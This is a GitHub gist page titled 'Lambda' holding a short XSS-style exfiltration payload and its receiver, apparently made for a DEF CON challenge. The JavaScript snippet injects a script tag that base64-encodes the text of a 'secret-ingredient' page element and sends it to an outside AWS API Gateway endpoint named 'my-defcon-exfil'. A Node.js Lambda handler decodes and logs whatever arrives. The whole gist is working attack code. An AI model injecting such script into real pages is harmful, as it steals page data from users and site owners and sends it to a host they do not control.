Skip to content

Instantly share code, notes, and snippets.

@felmoltor
Last active August 23, 2023 14:52
Show Gist options
  • Save felmoltor/e1309771c1a2478cc5f9c08a1dea17b1 to your computer and use it in GitHub Desktop.
Save felmoltor/e1309771c1a2478cc5f9c08a1dea17b1 to your computer and use it in GitHub Desktop.
Lambda
s=document.createElement("script");
s.src="https://f7aq2nast6.execute-api.eu-west-1.amazonaws.com/testing/my-defcon-exfil?data="+btoa(document.getElementById("secret-ingredient").innerText);
document.head.appendChild(s);
'use strict';
export const handler = async (event) => {
const response = {
statusCode: 200,
headers: {
'Content-Type': 'text/html',
},
body: event.queryStringParameters.data,
};
var decoded=Buffer.from(event.queryStringParameters.data, 'base64').toString('ascii');
console.log('Decoded payload:', decoded);
return response;
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment